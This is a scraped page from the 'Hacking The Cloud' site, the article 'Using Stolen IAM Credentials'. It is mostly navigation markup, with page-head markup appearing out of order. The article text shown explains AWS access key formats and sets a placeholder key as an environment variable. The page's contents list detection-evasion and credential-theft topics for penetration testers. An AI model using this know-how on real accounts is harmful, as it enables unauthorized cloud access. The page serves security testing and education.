for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#iam-credential-characteristics class=md-nav__link> <span class=md-ellipsis> IAM Credential Characteristics </span> </a> </li> <li class=md-nav__item> <a href=#working-with-the-keys class=md-nav__link> <span class=md-ellipsis> Working with the Keys </span> </a> </li> <li class=md-nav__item> <a href=#determining-validity class=md-nav__link> <span class=md-ellipsis> Determining Validity </span> </a> <nav class=md-nav aria-label="Determining Validity"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#operational-security-considerations class=md-nav__link> <span class=md-ellipsis> Operational Security Considerations </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#avoiding-detection class=md-nav__link> <span class=md-ellipsis> Avoiding Detection </span> </a> <nav class=md-nav aria-label="Avoiding Detection"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#guardduty-pentest-findings-and-cli-user-agents class=md-nav__link> <span class=md-ellipsis> GuardDuty Pentest Findings and CLI User Agents </span> </a> </li> <li class=md-nav__item> <a href=#guardduty-credential-exfiltration class=md-nav__link> <span class=md-ellipsis> GuardDuty Credential Exfiltration </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#situational-awareness class=md-nav__link> <span class=md-ellipsis> Situational Awareness </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/general-knowledge/using_stolen_iam_credentials.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Using Stolen IAM Credentials</h1> <p>As a Penetration Tester or Red Teamer it is likely you will stumble into AWS IAM credentials during an assessment. The following is a step by step guide on how you can use them, things to consider, and methods to avoid detection.</p> <h2 id=iam-credential-characteristics>IAM Credential Characteristics<a class=headerlink href=#iam-credential-characteristics title="Permanent link">&para;</a></h2> <p>In AWS there are typically two types of credentials you will be working with, <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html>long term</a> (access keys) and <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html>short term</a>.</p> <p>Long term credentials will have an access key that starts with <code>AKIA</code> and will be 20 characters long. In addition to the access key there will also be a secret access key which is 40 characters long. With these two keys, you can potentially make requests against the AWS API. As the name implies, these credentials have no specified lifespan and will be useable until they are intentionally disabled/deactivated. As a result, this makes them not recommended from a security perspective. Temporary security credentials are preferred.</p> <p>Temporary credentials, by comparison, will have an access key that starts with <code>ASIA</code>, be 20 characters long, and also have a 40 character secret key. In addition, temporary security credentials will also have a session token (sometimes referred to as a security token). The session token will be base64 encoded and quite long. With these 3 credentials combined you can potentially make requests to the AWS API. As the name implies, these credentials have a temporary lifespan that is determined when they were created. It can be as short as 15 minutes, and as long as several hours.</p> <h2 id=working-with-the-keys>Working with the Keys<a class=headerlink href=#working-with-the-keys title="Permanent link">&para;</a></h2> <p>After gathering the credentials you will likely want to use them with the AWS CLI. There are a <a href=https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-quickstart.html>few</a> ways to do this, however setting them as environment variables is likely the easiest. </p> <p>To do this with long term credentials, set the following environment variables.</p> <div class=highlight><pre><span></span><code>export AWS_ACCESS_KEY_ID=AKIAEXAMPLEEXAMPLEEE
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#iam-credential-characteristics class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1 checked> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=true> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Using Stolen IAM Credentials </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#iam-credential-characteristics class=md-nav__link> <span class=md-ellipsis> IAM Credential Characteristics </span> </a> </li> <li class=md-nav__item> <a href=#working-with-the-keys class=md-nav__link> <span class=md-ellipsis> Working with the Keys </span> </a> </li> <li class=md-nav__item> <a href=#determining-validity class=md-nav__link> <span class=md-ellipsis> Determining Validity </span> </a> <nav class=md-nav aria-label="Determining Validity"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#operational-security-considerations class=md-nav__link> <span class=md-ellipsis> Operational Security Considerations </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#avoiding-detection class=md-nav__link> <span class=md-ellipsis> Avoiding Detection </span> </a> <nav class=md-nav aria-label="Avoiding Detection"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#guardduty-pentest-findings-and-cli-user-agents class=md-nav__link> <span class=md-ellipsis> GuardDuty Pentest Findings and CLI User Agents </span> </a> </li> <li class=md-nav__item> <a href=#guardduty-credential-exfiltration class=md-nav__link> <span class=md-ellipsis> GuardDuty Credential Exfiltration </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#situational-awareness class=md-nav__link> <span class=md-ellipsis> Situational Awareness </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration 